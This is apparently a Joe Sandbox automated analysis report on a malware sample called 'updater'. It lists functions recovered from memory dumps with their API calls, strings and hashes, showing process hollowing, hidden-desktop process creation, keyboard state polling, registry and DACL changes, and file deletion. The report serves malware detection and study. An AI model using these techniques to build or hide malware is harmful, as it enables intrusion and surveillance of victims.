Opcode Fuzzy Hash: be9fc899681cc4ed21c7701c060e11a9ef7e9fee07816462a523e5468d2b593e
Instruction Fuzzy Hash: A831A575641219AADB20DFB4DC49BDE77ACAF0B321F200179F914D21E0EB70DE85DA60

Function 00C30EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C30FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00C40980,00000000,?,00000000,?,?), ref: 00C31021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00C31069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00C310F2
RegCloseKey.ADVAPI32(?), ref: 00C31412
RegCloseKey.ADVAPI32(00000000), ref: 00C3141F

Strings

REG_BINARY, xrefs: 00C313AD
REG_EXPAND_SZ, xrefs: 00C3108F
REG_QWORD, xrefs: 00C31360
REG_MULTI_SZ, xrefs: 00C311DA
REG_SZ, xrefs: 00C31130
REG_DWORD, xrefs: 00C312E3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: bc26b805e5c71ec432189f3570ed15c3401644fc77271a77d32b6dfc540227f4
Instruction ID: 0965e8c7814c02bcc46c1d37797194b6f91654a5ef5c42b7c22d8f195ff1b65f
Opcode Fuzzy Hash: bc26b805e5c71ec432189f3570ed15c3401644fc77271a77d32b6dfc540227f4
Instruction Fuzzy Hash: B2027D752106019FCB14EF25C881E6AB7E5FF89710F0489ADF99A9B362CB70ED41CB91

Function 01252145 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 01252162
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 01252173
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 012521A7
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 01252218
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 01252253
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 01252266
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 01252273
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 0125227F
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 012522B3
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 012522BF
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 012522E8

Strings

GetLongPathNameA, xrefs: 0125216D
\, xrefs: 01252291
kernel32.dll, xrefs: 0125215D

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: bb1bba146beb3df7f411da52346b5a2505db91ccdb0e32c8dec5e5e7c2dc99a8
Instruction ID: b36295d0479e5de2508f7e4d3cb4fb1ec185fe044455683d6b0f2b7b4d9b5a51
Opcode Fuzzy Hash: bb1bba146beb3df7f411da52346b5a2505db91ccdb0e32c8dec5e5e7c2dc99a8
Instruction Fuzzy Hash: D1513975E1021AEFDB55DBECCCC5AEEB7B8BF04300F0505A2EA25E7281D7349A448B64

Function 00C1F735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00C1F756
_wcscmp.LIBCMT ref: 00C1F76B
_wcscmp.LIBCMT ref: 00C1F782

Part of subcall function 00C14875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00C14890

FindNextFileW.KERNEL32(00000000,?), ref: 00C1F7B1
FindClose.KERNEL32(00000000), ref: 00C1F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00C1F7D8
_wcscmp.LIBCMT ref: 00C1F7FF
_wcscmp.LIBCMT ref: 00C1F816
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1F828
SetCurrentDirectoryW.KERNEL32(00C6B578), ref: 00C1F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C1F850
FindClose.KERNEL32(00000000), ref: 00C1F85D
FindClose.KERNEL32(00000000), ref: 00C1F86F

Strings

*.*, xrefs: 00C1F7D3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 86c3384faef96878fec661af6c8d44a2db9c4c5306399b33ff8e8605a2eff0be
Instruction ID: 15985744907be929a2de871c0ec250ea83186e0c5fd68766ef73e0c2ddbcc928
Opcode Fuzzy Hash: 86c3384faef96878fec661af6c8d44a2db9c4c5306399b33ff8e8605a2eff0be
Instruction Fuzzy Hash: 7E31C776540619BAEB20DB74DC48BDE77ACAF0B321F240179E914E21E1DB70CF86DA60

Function 00C088CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C08E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C08E3C
Part of subcall function 00C08E20: GetLastError.KERNEL32(?,00C08900,?,?,?), ref: 00C08E46
Part of subcall function 00C08E20: GetProcessHeap.KERNEL32(00000008,?,?,00C08900,?,?,?), ref: 00C08E55
Part of subcall function 00C08E20: HeapAlloc.KERNEL32(00000000,?,00C08900,?,?,?), ref: 00C08E5C
Part of subcall function 00C08E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C08E73

Part of subcall function 00C08EBD: GetProcessHeap.KERNEL32(00000008,00C08916,00000000,00000000,?,00C08916,?), ref: 00C08EC9
Part of subcall function 00C08EBD: HeapAlloc.KERNEL32(00000000,?,00C08916,?), ref: 00C08ED0
Part of subcall function 00C08EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00C08916,?), ref: 00C08EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00C08931
_memset.LIBCMT ref: 00C08946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00C08965
GetLengthSid.ADVAPI32(?), ref: 00C08976
GetAce.ADVAPI32(?,00000000,?), ref: 00C089B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00C089CF
GetLengthSid.ADVAPI32(?), ref: 00C089EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00C089FB
HeapAlloc.KERNEL32(00000000), ref: 00C08A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00C08A23
CopySid.ADVAPI32(00000000), ref: 00C08A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00C08A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00C08A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00C08A95

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 5f519dc8f0b7c64c5335ef464b21f3a4883969b4427edd94aa31d8ccb0e4ff95
Instruction ID: d83caf2e176a50d0f4569faa3f53966f804bb234e59c59a919a071e71263b776
Opcode Fuzzy Hash: 5f519dc8f0b7c64c5335ef464b21f3a4883969b4427edd94aa31d8ccb0e4ff95
Instruction Fuzzy Hash: D1613875A40209FFDF00DFA5DC45BAEBB79FF05300F14822AE965A7290DB359A09DB60

Function 01269999 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176sleepprocessnativeCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,01269BDF), ref: 01269A01
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 01269ACE
NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 01269AE6
ReadProcessMemory.KERNEL32(?,?,?,00000004,?,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 01269B0E
ReadProcessMemory.KERNEL32(?,?,?,00001000,?,?,?,?,00000004,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 01269B3D
WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 01269B8F
ResumeThread.KERNEL32(?,?,?,00000000,00000000,?), ref: 01269B98
Sleep.KERNEL32(000001F4,?,?,?,00000000,00000000,?), ref: 01269BA2
GetTickCount.KERNEL32 ref: 01269BA7

Strings

D, xrefs: 01269A9A

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Process$Memory$Read$CountCreateCurrentInformationQueryResumeSleepThreadTickWrite
String ID: D
API String ID: 4190092080-2746444292
Opcode ID: ce83b7869e0d32acfc8b75ebe2b366822650989d62d83b72880d4035015205fe
Instruction ID: 645ffad40d5e7777acf938589fbcf6abea2540d125bd0727593efb3ce553106d
Opcode Fuzzy Hash: ce83b7869e0d32acfc8b75ebe2b366822650989d62d83b72880d4035015205fe
Instruction Fuzzy Hash: 9761EAB1E1011DAFDB40EBA8CC81BEEB7F8AF58354F544065E508E7284DB74AA858B64

Function 00C30A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C3147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C3040D,?,?), ref: 00C31491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C30B0C

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00C30BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00C30C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00C30E82
RegCloseKey.ADVAPI32(00000000), ref: 00C30E8F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: cce57d14187d167c5d533446a1f4804881b3c6387bfb01150e4f6d672cd219cb
Instruction ID: ff5f1e334f9283d56f19d5ef11dab48f83927e4d36ab39277034859ae9b8b473
Opcode Fuzzy Hash: cce57d14187d167c5d533446a1f4804881b3c6387bfb01150e4f6d672cd219cb
Instruction Fuzzy Hash: 05E14D31214211AFC714DF29C891E6ABBE9FF89714F1489ADF49ADB262DB30ED01CB51

Function 00C10508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C10530
GetAsyncKeyState.USER32(000000A0), ref: 00C105B1
GetKeyState.USER32(000000A0), ref: 00C105CC
GetAsyncKeyState.USER32(000000A1), ref: 00C105E6
GetKeyState.USER32(000000A1), ref: 00C105FB
GetAsyncKeyState.USER32(00000011), ref: 00C10613
GetKeyState.USER32(00000011), ref: 00C10625
GetAsyncKeyState.USER32(00000012), ref: 00C1063D
GetKeyState.USER32(00000012), ref: 00C1064F
GetAsyncKeyState.USER32(0000005B), ref: 00C10667
GetKeyState.USER32(0000005B), ref: 00C10679

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 07319e2b685fcfe67363210fcf86971c35115dfb31485ee5e46e6426a4f1a4f1
Instruction ID: 915106135c1daeea5fda1f2206384eec71fdf627e56c70b9d3997bcf2f3b24b4
Opcode Fuzzy Hash: 07319e2b685fcfe67363210fcf86971c35115dfb31485ee5e46e6426a4f1a4f1
Instruction Fuzzy Hash: F141E8745447C96DFF30866488043F5BEA1BB53304F28405EEAD5461C2EBE49BE4DF96

Function 00C1443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00C14451
__swprintf.LIBCMT ref: 00C1445E

Part of subcall function 00BD38C8: __woutput_l.LIBCMT ref: 00BD3921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00C14488
LoadResource.KERNEL32(?,00000000), ref: 00C14494
LockResource.KERNEL32(00000000), ref: 00C144A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00C144C1
LoadResource.KERNEL32(?,00000000), ref: 00C144D3
SizeofResource.KERNEL32(?,00000000), ref: 00C144E2
LockResource.KERNEL32(?), ref: 00C144EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00C1454F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 50eab523d6547ef0f27d7054184a59d433a34c01ec52a5d135c013d7974abf6f
Instruction ID: e898e43b39a2baa1814db0429d7e4ac260566b9a6fb4439fd09fcd5714a31ee2
Opcode Fuzzy Hash: 50eab523d6547ef0f27d7054184a59d433a34c01ec52a5d135c013d7974abf6f
Instruction Fuzzy Hash: F631E17550121AABDB199FB0EC48BFF7BA9FF06301F104415FA16D2151E770DA90EB60

Function 00C24830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00C24857
EmptyClipboard.USER32 ref: 00C2485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00C24872
CloseClipboard.USER32 ref: 00C24911

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: f43195f547cc1640ce216f5a4dde31deed2c59e8942cbf4cc1400c282b21f9d8
Instruction ID: 2731d1f6315126df55b3fc993f53416b5d13dd819f64497d80c925e0b25d54e3
Opcode Fuzzy Hash: f43195f547cc1640ce216f5a4dde31deed2c59e8942cbf4cc1400c282b21f9d8
Instruction Fuzzy Hash: CC21C135245220DFDB15AF24EC09B6E77A8FF45721F118059FE0ADB2A2DBB0AD50CB94

Function 00C13CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BC2A58,?,00008000), ref: 00BD02A4

Part of subcall function 00C14FEC: GetFileAttributesW.KERNEL32(?,00C13BFE), ref: 00C14FED

FindFirstFileW.KERNEL32(?,?), ref: 00C13D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00C13E3E
MoveFileW.KERNEL32(?,?), ref: 00C13E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00C13E6E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C13E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00C13EAC

Strings

\*.*, xrefs: 00C13D41, 00C13D4A, 00C13D5F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: fe0765a0c148a0cf7a0f5bd5ac01691c390f5da148c0869b9a3d79851a84e618
Instruction ID: 5ae8f3834899a0a26e2c0bb9129a849a416750e5983c89c615a45821a96e24eb
Opcode Fuzzy Hash: fe0765a0c148a0cf7a0f5bd5ac01691c390f5da148c0869b9a3d79851a84e618
Instruction Fuzzy Hash: 2951A23180124DAACF15EBA4C992EEDB7B9AF12304F2045A9E451B7192EF316F49DB60

Function 01266511 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 167processsynchronizationCOMMON

Download Yara Rule

APIs

CreateDesktopA.USER32(00000000,00000000,00000000,00000000,10000000,00000000), ref: 012665DB
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,0126670A), ref: 0126661C
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08008000), ref: 01266659
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,0126670A), ref: 01266692
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08008000), ref: 012666CA
WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,0126670A), ref: 012666DD

Strings

D, xrefs: 012665AC

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Create$Process$DesktopObjectSingleWait
String ID: D
API String ID: 183768610-2746444292
Opcode ID: 88dca85f77c113fe17c8b9e17cf02f6102ca5efdebde1f445828d32c5ae3869b
Instruction ID: 29000cc4a84ec3375b6b197310fb2febb994fd98f7427debcbd6cdf3c2db8c6b
Opcode Fuzzy Hash: 88dca85f77c113fe17c8b9e17cf02f6102ca5efdebde1f445828d32c5ae3869b
Instruction Fuzzy Hash: 3C513D70A1031AAFEF50EBA4CCC1FAEB7B8EF14750F204125A914FB2D0D774AA458B14

Function 00C1FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00C1FA83
FindClose.KERNEL32(00000000), ref: 00C1FB96

Part of subcall function 00BB52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BB52E6

Sleep.KERNEL32(0000000A), ref: 00C1FAB3
_wcscmp.LIBCMT ref: 00C1FAC7
_wcscmp.LIBCMT ref: 00C1FAE2
FindNextFileW.KERNEL32(?,?), ref: 00C1FB80

Strings

*.*, xrefs: 00C1FA68

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: af041a800fdda1d3e10c08944868851e1fc0cbefa468e674cc7e546c71198147
Instruction ID: d0bd59d6b0121748903b71da18d247fe8d5acbe646e768db8d86f42cabc975b5
Opcode Fuzzy Hash: af041a800fdda1d3e10c08944868851e1fc0cbefa468e674cc7e546c71198147
Instruction Fuzzy Hash: AD4181B194421A9FCF14DF64CC55BEEBBB4FF06350F1445AAF814A2291EB309E85DB50

Function 00C14005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BC2A58,?,00008000), ref: 00BD02A4

Part of subcall function 00C14FEC: GetFileAttributesW.KERNEL32(?,00C13BFE), ref: 00C14FED

FindFirstFileW.KERNEL32(?,?), ref: 00C1407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00C140CC
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C140DD
FindClose.KERNEL32(00000000), ref: 00C140F4
FindClose.KERNEL32(00000000), ref: 00C140FD

Strings

\*.*, xrefs: 00C1404E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 711d0326e88f57c9b003c22ee84f7a9bdec98831bfa41d7c2db69651ce507116
Instruction ID: 5851f690012ee6ded6edc52845330358c574f8b63cc3103034172aa83c046589
Opcode Fuzzy Hash: 711d0326e88f57c9b003c22ee84f7a9bdec98831bfa41d7c2db69651ce507116
Instruction Fuzzy Hash: 91319C310083859BC214EF64C895EEFB7E8BE97304F404E6DF5E192192EB30DA49D762

Function 00C15778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00C09399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C093E3
Part of subcall function 00C09399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C09410
Part of subcall function 00C09399: GetLastError.KERNEL32 ref: 00C0941D

ExitWindowsEx.USER32(?,00000000), ref: 00C157B4

Strings

, xrefs: 00C157A2
@, xrefs: 00C157A7
SeShutdownPrivilege, xrefs: 00C15784

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: f7e5dea218adb8dd9bb80401282530290f8d7e7aadedfeba5b63a633b3c1db9f
Instruction ID: 5dce2c86fd907f3518a9ef6d36f47729fc513c6e40270ea8bc8d106c060cfef0
Opcode Fuzzy Hash: f7e5dea218adb8dd9bb80401282530290f8d7e7aadedfeba5b63a633b3c1db9f
Instruction Fuzzy Hash: E001FC317B0712EAE7286265DC8BBFF7658EB47740F240129F923D20D2D9505C80A1E0

Function 012692F1 Relevance: 9.2, Strings: 7, Instructions: 450COMMON

Download Yara Rule

Strings

